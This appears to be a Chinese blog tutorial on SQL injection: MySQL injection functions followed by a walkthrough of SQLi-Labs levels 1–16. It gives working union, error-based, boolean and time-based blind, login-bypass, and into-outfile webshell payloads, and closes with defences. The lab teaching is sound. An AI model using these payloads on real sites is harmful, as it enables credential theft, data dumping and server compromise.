SQL注入


一、SQL注入语法

union和union all

union和union all都是联合查询,用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中,区别在于union会去除重复的结果,union all不会。

要注意的是前后两个select语句中的列数必须一致

group_concat和concat

concat函数用于将多个字符串连接到一起形成一个字符串,通常用于将多列合并到一列。

group_concat函数会将要查询的结果以一个组合的形式返回,group_concat需要和group_by函数配合使用,否则会将返回结果以一行显示。通常用于将多条记录合并为一条记录。

除此之外还可以使用Separator关键字加分隔符:

concat_ws()

g.:concat_ws(‘|’, 列名1,列名2……)

length()

该函数用于获取字符串字节的长度。

mid()

SQL MID() 函数用于得到一个字符串的一部分。这个函数被MySQL支持,但不被 SQL Server和Oracle支持。在SQL Server,Oracle 数据库中,我们可以使用 SQL SUBSTRING函数或者 SQLSUBSTR函数作为替代。

left()

LEFT()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。
用法:

LEFT(str,length);

LEFT()函数接受两个参数:
1.str是要提取子字符串的字符串。
2.length是一个正整数,指定将从左边返回的字符数。

LEFT()函数返回str字符串中最左边的长度字符。如果str或length参数为NULL,则返回NULL值。

如果length为0或为负,则LEFT函数返回一个空字符串。如果length大于str字符串的长度,则LEFT函数返回整个str字符串。

请注意,SUBSTRING(或SUBSTR)函数也提供与LEFT函数相同的功能。

substr()

substr和mid函数的作用和用法基本相同,只不过substr支持的数据库更多,mid只支持mysql数据库。
用法:

substr(string string,num start,num length);

ascii()

ascii函数用来返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。这个函数可以和substr函数配合来使用猜测一个字符。10进制。

sleep()

sleep函数可以让sql执行的时候暂停一段时间,函数的返回结果为0.

if(expr1,expr2,expr3)

语法如下:
IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。

count()

count函数是用来统计表中或数组中记录的一个函数,下面我来介绍在MySQL中count函数用法与性能比较吧。count(*) 它返回检索行的数目, 不论其是否包含 NULL值。

load_file()

load_file()可以用来读取文件,此函数的执行必须使用dba权限或者root权限。
需要注意的是:
mysql 新版本下secure_file_priv字段 : secure_file_priv参数是用来限制LOAD DATA, SELECT …OUTFILE, and LOAD_FILE()传到哪个指定目录的。
1.当secure_file_priv的值为null ,表示限制mysqld 不允许导入,导出
2.当secure_file_priv的值为/tmp/,表示限制mysqld 的导入,导出只能发生在/tmp/目录下
3.当secure_file_priv的值没有具体值时,表示不对mysqld 的导入,导出做限制

如何查看secure-file-priv参数的值:

show global variables like '%secure%';

into outfile()

into outfile()函数可以将字符串写入文件,此函数的执行也需要很大的权限,并且目标目录可写。

二、SQL注入流程

1.了解information_schema数据库,并利用该库找到demo库的结构。

(1)获取库名

 select database();

(2)获取表名

   select table_name from information_schema.tables where table_schema='demo';

(3)获取t_user表的列名

   select column_name from information_schema.columns where table_schema='demo' and table_name='t_user';

三、在网页中SQL联合注入过程

select * from xx where yy=?;

通过联合查询得到想要的信息,比如管理员账号密码

1.判断表的列数

select * from xx where yy = 1 order by 5 ;

2.使用联合查询得到想要的信息,比如管理员账号密码
(1)库名

select * from xx where yy = -1 union select 1,2,database(),4,5;

在这里插入图片描述

(2)表名

select * from xx where yy = -1 union select 1,2,table_name,4,5 from information_schema.tables where table_schema='double_fish';

在这里插入图片描述
其有多张表,因此我们用group_concat

select * from xx where yy = -1 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema='double_fish';

在这里插入图片描述

(3)获取管理员表(t_admin)下的列名

select * from xx where yy = -1 union select 1,2,group_concat(column_name),4,5 from 
information_schema.columns where table_schema='double_fish' and table_name='t_admin';

在这里插入图片描述

(4)获取管理员账号密码

select * from xx where yy = -1 union select 1,username,password,4,5 from t_admin

在这里插入图片描述

四、部署SQLi-Labs

1.将网站资源部署到网站根目录下
在这里插入图片描述
2.进入sqli-labs文件夹,进入sql-connections文件夹,修改db-creds.inc文件,在其中$dbpass ='';行引号内写自己数据库密码

五、SQLi-Labs第一关的注入

(0)猜测后台查询语句

select * from xx where yy ='1' LIMIT 0,1;

(1)判断类型和闭合符
加单引号,看报错来判断
在这里插入图片描述

(2)判断列数(# -> %23)

select * from xx where yy ='1' order by 10%23' LIMIT 0,1;
//     即/index.php?id=2' order by 3%23

在这里插入图片描述
所以列数为3
(3)判断显示位

select * from xx where yy ='-1' union select 1,2,3%23' LIMIT 0,1;
//即/index.php?id=-1' union select 1,2,3%23

在这里插入图片描述
所以显示位为2,3
(4)获取库名

select * from xx where yy ='-1' union select 1,2,database()%23' LIMIT 0,1;
//即/index.php?id=-1' union select 1,2,database()%23

在这里插入图片描述
所以数据库名叫security
(5)获取表名

select * from xx where yy = '-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23' LIMIT 0,1;
//即/index.php?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23

在这里插入图片描述
有emails,referers,uagents,users四张表
(6)获取列名

select * from xx where yy = '-1' union select 1,2,group_concat(column_name) from 
information_schema.columns where table_schema='security' and table_name='users'%23' LIMIT 0,1;
//即/index.php?id=-1' union select 1,2,group_concat(column_name) from 
information_schema.columns where table_schema='security' and table_name='users'%23

在这里插入图片描述
列名为id,username,password
(7)查询用户信息

select * from xx where yy = '-1' union select 1,2,group_concat(concat_ws(':',username,password) ) 
 from users

在这里插入图片描述

六、SQLi-Labs第二关的注入

判断类型和闭合符
在这里插入图片描述
不用加#注释,直接order by 找列数
然后后续操作和第一关一样
在这里插入图片描述

七、SQLi-Labs第三关的注入

1.判断类型和闭合符
在这里插入图片描述
是一个带括号的数字型注入,这里需要闭合它的括号

select * from xx where id=('1')%23'); 

2.找列数

select * from xx where id=('1')order by 3%23'); 

下面步骤同第一关

结果如下:
在这里插入图片描述

八、SQLi-Labs第四关的注入

1.判断类型和闭合符
在这里插入图片描述

select * from xx where id=("1")%23 LIMIT 0,1"); 

2.找列数

select * from xx where id=("1")order by 3%23 LIMIT 0,1"); 

3.找库名

select * from xx where id ="-1") union select 1,2,database()%23" LIMIT 0,1;
//即/index.php?id=-1") union select 1,2,database()%23

在这里插入图片描述
后面步骤如上

九、SQLi-Labs第五关的注入(布尔盲注)

1.判断类型和闭合符
在这里插入图片描述

select * from xx where id='1'%23 LIMIT 0,1'; 

2.找列数

select * from xx where id='1' order by 3%23 LIMIT 0,1'; 

3.找回显位
页面显示You are in…证明这是基于布尔的盲注。这步没用

4.使用函数length()探测一下当前数据库名的长度

/index.php?id=1' and length(select database())=8%23

得到数据库名的长度为8

5.布尔盲注
第一个字母(s对应ASCII码115)

/index.php?id=1' and ascii(mid(database(),1,1))>115%23

在这里插入图片描述
在这里插入图片描述

第二个字母(e对应ASCII码101)

/index.php?id=1' and ascii(mid(database(),2,1))>101%23

以此类推,试出八个字母,拼在一起就是库名security

后面步骤同上

第二种方法:报错注入
报错注入公式:

union select 1,(extractvalue(1,concat(0x7e,(payload),0x7e))),3%23
//payload是我们想要放入的片段

查库名:

union select 1,(extractvalue(1,concat(0x7e,(database()),0x7e))),3%23

在这里插入图片描述
查表名:

select * from users where id = 1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))),3%23

在这里插入图片描述

十、SQLi-Labs第六关的注入

在这里插入图片描述
1.判断类型和闭合符

select * from xx where id="1"%23 LIMIT 0,1"; 

下面步骤同上
查库名:

union select 1,(extractvalue(1,concat(0x7e,(database()),0x7e))),3%23

在这里插入图片描述

十一、SQLi-Labs第七关的注入

1.判断类型和闭合符
在这里插入图片描述
2.看到outfile联想到上传一句话木马
用union联合查询

/index.php?id=1')) union select 1,2,"一句话木马" into outfile "c:/test1.txt"%23

十二、SQLi-Labs第八关的注入

1.判断类型和闭合符

select * from xx where id='1'%23 LIMIT 0,1'; 

十三、SQLi-Labs第九关的注入(延时盲注)

1.判断类型和闭合符(用sleep函数)

?id=1' and sleep(10)%23 

2.找库名

/index.php?id=1' and (select if(ascii(mid(database(),1,1))>50,sleep(5),NULL))%23

十四、SQLi-Labs第十关的注入

和第九关差不多,只不过闭合符是"

?id=1" and sleep(10)%23 

找库名

/index.php?id=1" and (select if(ascii(mid(database(),1,1))>50,sleep(5),NULL))%23

十五、SQLi-Labs第十一关的注入

判断类型和闭合符

1'  #

查库名

Username:1' union select 1,database() #
Password:1

在这里插入图片描述

在这里插入图片描述

十六、SQLi-Labs第十二关的注入

判断闭合符

1")  #

然后找库名
在这里插入图片描述

十七、SQLi-Labs第十三关的注入

1.先找符号位:

Username=1')#

2.判断回显

Username=1') union select 1,2#

发现没有回显,所以只能盲注
也可以采用报错注入:

Username=1') and extractvalue(1,concat(0x7e,(select database())))#

在这里插入图片描述

十八、SQLi-Labs第十四关的注入

1.先找符号位:

Username=1"#

2.判断回显

Username=1" union select 1,2#

发现也没有回显,所以只能盲注

也可以采用报错注入:

Username=1" and extractvalue(1,concat(0x7e,(select database())))#

在这里插入图片描述

十九、SQLi-Labs第十五关的注入

与上一关不同,这关没有报错提示,但我们可以根据页面的回显来判断。
使用万能密码尝试:

Username=123' or 1 #

因为没有显示位,所以只能盲注
可以采用延时盲注,如:

Username=1' and sleep(3) # 

二十、SQLi-Labs第十六关的注入

没有报错提示,继续采用万能密码尝试,找出符号位:

Username=1") or 1#

然后采用盲注。

小结

手工注入

1.数字型/字符型注入的判断及闭合符确认
2.联合查询注入
3.报错注入
4.布尔盲注
5.延时盲注
6.POST注入

工具注入

sqlmap工具

概念和原理

攻击者通过注入sql语句片段,导致后端执行预期外的SQL查询。

危害

(1)条件满足的情况下,攻击者能够
1.拖库
2.读写文件
3.执行系统命令
(2)从影响上来看,条件满足的情况下,可能导致:
1.网站数据被窃取
2.网站页面被篡改
3.服务器被攻击者控制

防护思路

对输入的特殊字符进行转义,比如引号等
正确使用预编译技术进行防护
非必要不开启文件和命令执行权限
进行库和用户的隔离

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值